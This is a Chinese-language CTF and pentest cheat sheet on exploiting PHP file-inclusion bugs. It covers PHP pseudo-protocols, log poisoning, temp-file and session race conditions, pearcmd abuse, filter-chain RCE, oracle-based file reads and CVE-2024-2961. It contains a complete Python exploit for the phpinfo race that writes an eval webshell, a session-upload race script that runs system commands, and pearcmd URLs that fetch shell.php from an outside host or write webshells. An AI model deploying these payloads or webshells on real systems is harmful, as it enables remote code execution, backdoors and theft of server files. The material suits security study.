常见利用函数 1 2 3 4 5 6 7 include: 找不到被包含的文件时只会产生警告,脚本将继续执行。 include_once: 和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。 require: 找不到被包含的文件时会产生致命错误,并停止脚本。 require_once: 和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。 readfile:返回从文件中读入的字节数 file_get_contents:把整个文件读入一个字符串中
LFI/RFI
所包含文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。 所包含文件内容不符合PHP语法规范,会暴露其源代码(相当于文件读取)。
远程文件包含(Remote File Inclusion, RFI)是指包含远程服务器上的文件,需要在php.ini
中设置allow_url_include=On
远程包含与本地包含没有区别,无非是支持远程加载,更容易getshell,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析。
如果对ip过滤了点可以将ip
转为int
伪协议 官网伪协议手册
file://协议 file://
用于访问本地文件系统
使用条件:allow_url_fopen=On/Off、allow_url_include=On/Off
trick: 可以用localhost代替/
php://协议 php://filter 使用条件:allow_url_fopen=On/Off、allow_url_include=On/Off
php://filter绕过死亡die 1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );highlight_file (__FILE__ );$file = $_GET ['file' ];$content = $_POST ['content' ];file_put_contents ($file ,"<?php die();?>" .$content );?>
使用rot13
等转换器进行编码
使用条件:allow_url_fopen=On/Off、allow_url_include=On
enctype="multipart/form-data"
(即文件上传)的时候php://input
是无效的。
data://协议 使用条件:allow_url_include=On、allow_url_fopen=On
利用data://伪协议进行代码执行的思路原理和php://input是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中。
用大白话解释就是说原来include包含的是一个路径,再去读取里面的内容,data://协议就相当于两步转为一步,直接读内容,可以理解为将include转为eval
用法:data://text/plain;base64,
trick:符合rfc2397 规范即可
Nginx日志包含 利用条件: 1:有文件名可控的文件包含点 2:有可以访问到的日志路径
linux下日志默认存储位置
1 2 /var/log/nginx/access.log /var/log/nginx/error_log
在访问时修改User-Agent
头为php
代码,成功访问后会在日志中记录下来
然后包含日志?file=../../../../../var/log/nginx/access.log
,达到任意代码执行的效果
临时文件包含 在给PHP
发送POST
数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP
都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]
),文件名可以在$_FILES
变量中找到。这个临时文件,在请求结束后就会被删除。
同时,因为phpinfo
页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo
页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES
变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
但文件包含漏洞和phpinfo
页面通常是两个页面,理论上我们需要先发送数据包给phpinfo
页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell
。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
1:发送包含了webshell
的上传数据包给phpinfo
页面,这个数据包的header
、get
等位置需要塞满垃圾数据 2:因为phpinfo
页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo
页面撑得非常大 3:php
默认的输出缓冲区大小为4096
,可以理解为php
每次返回4096
个字节给socket
连接 4:所以,我们直接操作原生socket
,每次读取4096
个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包 5:此时,第一个数据包的socket
连接实际上还没结束,因为php
还在继续每次输出4096
个字节,所以临时文件此时还没有删除 6:利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 import sysimport threadingimport socketdef setup (host, port ): TAG="Security Test" PAYLOAD="""%s\r <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a=""" +padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" +padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """ +padding+"""\r HTTP_ACCEPT_LANGUAGE: """ +padding+"""\r HTTP_PRAGMA: """ +padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len (REQ1_DATA),host,REQ1_DATA) LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ)def phpInfoLFI (host, port, phpinforeq, offset, lfireq, tag ): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len (d) < offset: d += s.recv(offset) try : i = d.index("[tmp_name] => " ) fn = d[i+17 :i+31 ] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096 ) s.close() s2.close() if d.find(tag) != -1 : return fn counter=0 class ThreadWorker (threading.Thread): def __init__ (self, e, l, m, *args ): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run (self ): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try : x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set () except socket.error: return def getOffset (host, port, phpinforeq ): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True : i = s.recv(4096 ) d+=i if i == "" : break if i.endswith("0\r\n\r\n" ): break s.close() i = d.find("[tmp_name] => " ) if i == -1 : raise ValueError("No php tmp_name in phpinfo output" ) print "found %s at %i" % (d[i:i+10 ],i) return i+256 def main (): print "LFI With PHPInfo()" print "-=" * 30 if len (sys.argv) < 2 : print "Usage: %s host [port] [threads]" % sys.argv[0 ] sys.exit(1 ) try : host = socket.gethostbyname(sys.argv[1 ]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1 ], e) sys.exit(1 ) port=80 try : port = int (sys.argv[2 ]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2 ], e) sys.exit(1 ) poolsz=10 try : poolsz = int (sys.argv[3 ]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3 ], e) sys.exit(1 ) print "Getting initial offset..." , reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range (0 ,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try : while not e.wait(1 ): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else : print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set () print "Shuttin' down..." for t in tp: t.join()if __name__=="__main__" : main()
php7.0文件包含崩溃卡临时文件
上面所说的临时文件包含是在脚本运行结束之前 进行利用,而下面的方法则是在脚本运行结束之后 利用
7.0线程崩溃payload
上传表单的时候让php崩溃,从而保留下临时文件 因为php是多线程的,所以单个线程的崩溃不会影响整个程序
1 2 3 4 5 6 7 import requests url = "https://eae07757-1a87-40c5-955d-58ec51004989.challenge.ctf.show/?file=php://filter/string.strip_tags/resource=/etc/passwd" data = [ ('file' , ('a.php' , "@<?php\r\neval(\x24_POST['a']);\r\necho 123;\r\n?>" , 'application/octet-stream' ))] requests.post(url, files=data)
session.upload_progress文件包含 会话机制(session)在PHP中用于保持用户连续访问Web应用时的相关数据。
PHP
将session
以文件的形式存储在服务器某个文件中,可以在php.ini
里面设置session
的存储位置session.save_path
默认路径
1 2 3 4 /var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
再看下在php.ini
中关于session
和upload_progress
的几个默认配置
1 2 3 4 5 6 7 session.upload_progress.enabled = on session.upload_progress.cleanup = on session.upload_progress.prefix = "upload_progress_" session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" session.upload_progress.freq = "1%" session.upload_progress.min_freq = "1" session.use_strict_mode = "0"
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中; cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容; name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控; prefix+name将表示为session中的键名;
其中session.use_strict_mode
默认值为0
,此时用户是可以自己定义Session ID
的,比如在Cookie
里设置PHPSESSID=lewiserii
,PHP
将会在服务器上创建一个文件:/tmp/sess_lewiserii
然后在PHP_SESSION_UPLOAD_PROGRESS
下添加一句话木马,这样就会往指定的session
文件中写入我们想要的内容
然后?file=/tmp/sess_lewiserii
包含即可
但是要注意session.upload_progress.cleanup
默认是开启的,一旦读取了所有POST数据,它就会清空对应session文件中的内容,所以需要利用条件竞争来包含
使用bp同时不断的发post传文件的包和文件包含的包或者使用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import ioimport sysimport requestsimport threading sessid = 'ctf' sess_path='/tmp' url='http://c0648e39-a4bb-4776-88f0-a5cf98e9f640.challenge.ctf.show/' cmd='ls /' def WRITE (session ): while True : f = io.BytesIO(b'x' * 1024 * 50 ) session.post( url=url, data={"PHP_SESSION_UPLOAD_PROGRESS" :f"<?php system('{cmd} ');?>" }, files={"file" :('xxx.txt' , f)}, cookies={'PHPSESSID' :sessid} )def READ (session ): while True : response = session.get(f'{url} ?file={sess_path} /sess_{sessid} ' ) if 'upload_progress_' in response.text: print (response.text) sys.exit(0 ) else : print ('++++++retry++++++' )def main (): with requests.session() as session: t1 = threading.Thread(target=WRITE, args=(session,)) t1.daemon = True t1.start() READ(session)if __name__ == '__main__' : main()
pear文件包含 利用条件 1:有文件包含点 2:开启了pear
扩展 3:配置文件中register_argc_argv
设置为On
,而默认为Off
PEAR是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库,类似于composer,用于代码的下载与管理。默认安装位置:/usr/local/lib/php
那么这个register_argc_argv
能干什么呢?简言之,可以通过$_SERVER['argv']
获得命令行参数,其中以+
作为分隔符
在pear
目录下有一个pearcmd.php
,是pear
命令调用的文件,是用来管理依赖的,类似python的pip。能包含它又能给参数的话,就可以用它来写木马了
靶机可出网 远程文件下载
命令行语法:pear install -R /tmp http://vps/shell.php
用install
会下载到/tmp/pear/download/
目录下,当然也可以用-R
指定目录。而用download
会下载到当前目录
1 2 3 /?file=/usr/local/lib/php/pearcmd.php&+install+http://your-shell.com/shell.php /?file=/usr/local/lib/php/pearcmd.php&+install+-R+/var/www/html/+http://your-shell.com/shell.php /?file=/usr/local/lib/php/pearcmd.php&+download+http://your-shell.com/shell.php
靶机不出网 姿势一:通过config-create写shell
1 2 /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/<?=eval($_POST[a])?>+/tmp/shell.php /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[a]`;?>+1.php
姿势二:将恶意的php代码写入配置文件中
1 /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+
绕过包含次数限制 例题
1 2 3 4 5 6 <?php require_once ('flag.php' );if (isset ($_GET ['content' ])) { $content = $_GET ['content' ]; require_once ($content ); }
因为include_once
,require_once
对于同一个文件只能包含一次,已经包含了flag.php
一次了,那么就没办法继续包含它了吗?
payload:php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
路径中的/proc/self/root
就表示/
具体分析原理的文章:php源码分析 require_once 绕过不能重复包含文件的限制
FilterChain 利用 (iconv LFI) hxp CTF 2021 - The End Of LFI?
原理 利用了PHP Base64 Filter 宽松的解析特性,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE
1 2 3 4 dr0n11 --> ZHIwbjEx ZH<? Iw-bjEx --> dr0n11
即使我们在使用其他字符编码时产生了不可见字符,也可以利用 convert.base64-decode 来去掉非法字符,留下我们想要的字符
利用 因为不同的靶机环境有不同的字符集,所以可能会打不通,这时可以先fuzz一下,得到更为通用的字符集构造的POC
PHP_INCLUDE_TO_SHELL_CHAR_DICT
PHP filter chain generator
也可以用来绕过一些限定条件
例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 ); if (isset ($_GET ['file' ])) { $content = file_get_contents ($_GET ['file' ]); if (strpos ($content , 'aaa' ) === False) { die ('failed to read' ); } else { echo $content ; die (); } } else { die ('nothing here' ); }?>
python3 php_filter_chain_generator.py --chain 'aaa'
绕过 string.strip_tags
过滤器和<
搭配使用
1 2 (PHP 4 , PHP 5 , PHP 7 , PHP 8 ) strip_tags — 从字符串中去除 HTML 和 PHP 标签
当我们使用php_filter_chain_generator
生成FilterChain的时候在结尾添加一个<标签
在结尾手动添加一个string.strip_tags
,过滤后面的乱字符
侧信道读取文件-基于错误的oracle方式(error-based-oracle) 与 FilterChain 利用相似
限制条件: 1:php 5.3 以下不能用 2:极度依赖系统 iconv 提供的字符集
例子
1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );if (isset ($_POST ['f' ])) { echo hash_file ('md5' , $_POST ['f' ]); }?>
原理 The End of AFR? 非常详细的解读了工作原理
使用 UCS-4LE 等编码技巧让 PHP 产生内存错误导致服务器产生 500 错误,配合 dechunk 编码使得前面的错误正常化从而获得一个盲注的判断依据,使用该依据以及编码技巧逐个判断盲注出文件内容,进而可以造成任意文件内容读取。
受影响的函数 基本上只要对文件执行操作,包括读取、写入或向文件追加内容,或者使用了链接到该文件的流都会受到影响
Function
Pattern
file_get_contents
file_get_contents($_POST[0]);
readfile
readfile($_POST[0]);
finfo->file
$file = new finfo(); $fileinfo = $file->file($_POST[0], FILEINFO_MIME);
getimagesize
getimagesize($_POST[0]);
md5_file
md5_file($_POST[0]);
sha1_file
sha1_file($_POST[0]);
hash_file
hash_file(‘md5’, $_POST[0]);
file
file($_POST[0]);
parse_ini_file
parse_ini_file($_POST[0]);
copy
copy($_POST[0], ‘/tmp/test’);
file_put_contents (only target read only with this)
file_put_contents($_POST[0], “”);
stream_get_contents
$file = fopen($_POST[0], “r”); stream_get_contents($file);
fgets
$file = fopen($_POST[0], “r”); fgets($file);
fread
$file = fopen($_POST[0], “r”); fread($file, 10000);
fgetc
$file = fopen($_POST[0], “r”); fgetc($file);
fgetcsv
$file = fopen($_POST[0], “r”); fgetcsv($file, 1000, “,”);
fpassthru
$file = fopen($_POST[0], “r”); fpassthru($file);
fputs
$file = fopen($_POST[0], “rw”); fputs($file, 0);
利用 php_filter_chains_oracle_exploit
python3 filters_chain_oracle_exploit.py --target http://172.20.35.66/ --parameter 0 --file /flag
利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961) 原理 GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。
如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用iconv()的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。
利用 同样的,PHP的所有标准文件读取操作都受到了影响:file_get_contents()、hash_file()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等
cnext-exploits
python3 cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"
绕过 手动修改脚本中的交互逻辑即可
伪协议去除多余字符 例子
1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );$content ='lajilajilajilajilaji' .$_GET ['a' ].'lajilajilajilajilaji' ;file_put_contents ($_GET ['name' ].".txt" ,$content );$tmp = file_get_contents ('123.txt' );eval ($tmp ($_GET ['cmd' ]));
原理还是基于base64的宽松性
所以只需要将垃圾字符转换成base64字符集以外的字符即可
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $a ='system' ;$payload = iconv ('utf-8' , 'utf-16' , base64_encode ($a ));echo urlencode ($payload );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $b ='lajilajilajilajilaji%FF%FEc%003%00l%00z%00d%00G%00V%00t%00lajilajilajilajilaji' ;$b =urldecode ($b );$payload = iconv ('utf-16' , 'utf-8' , $b );$payload = base64_decode ($payload );echo $payload ;
转成伪协议的写法
php://filter/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=
不同编码在线转换网站
php还有很多支持的字符编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 UCS-4 * UCS-4 BE UCS-4 LE* UCS-2 UCS-2 BE UCS-2 LE UTF-32 * UTF-32 BE* UTF-32 LE* UTF-16 * UTF-16 BE* UTF-16 LE* UTF-7 UTF7-IMAP UTF-8 * ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win* ISO-2022 -JP ISO-2022 -JP-MS CP932 CP51932 SJIS-mac(别名:MacJapanese) SJIS-Mobile SJIS-Mobile SJIS-Mobile UTF-8 -Mobile UTF-8 -Mobile UTF-8 -Mobile UTF-8 -Mobile ISO-2022 -JP-MOBILE JIS JIS-ms CP50220 CP50220raw CP50221 CP50222 ISO-8859 -1 * ISO-8859 -2 * ISO-8859 -3 * ISO-8859 -4 * ISO-8859 -5 * ISO-8859 -6 * ISO-8859 -7 * ISO-8859 -8 * ISO-8859 -9 * ISO-8859 -10 * ISO-8859 -13 * ISO-8859 -14 * ISO-8859 -15 * ISO-8859 -16 * byte2be byte2le byte4be byte4le BASE64 HTML-ENTITIES(别名:HTML)7 bit8 bit EUC-CN* CP936 GB18030 HZ EUC-TW* CP950 BIG-5 * EUC-KR* UHC(别名:CP949) ISO-2022 -KR Windows-1251 (别名:CP1251) Windows-1252 (别名:CP1252) CP866(别名:IBM866) KOI8-R* KOI8-U* ArmSCII-8 (别名:ArmSCII8)
参考文章1:Docker PHP裸文件本地包含综述 参考文章2:文件包含的几种不常规利用姿势 参考文章3:PHP Filter链——基于oracle的文件读取攻击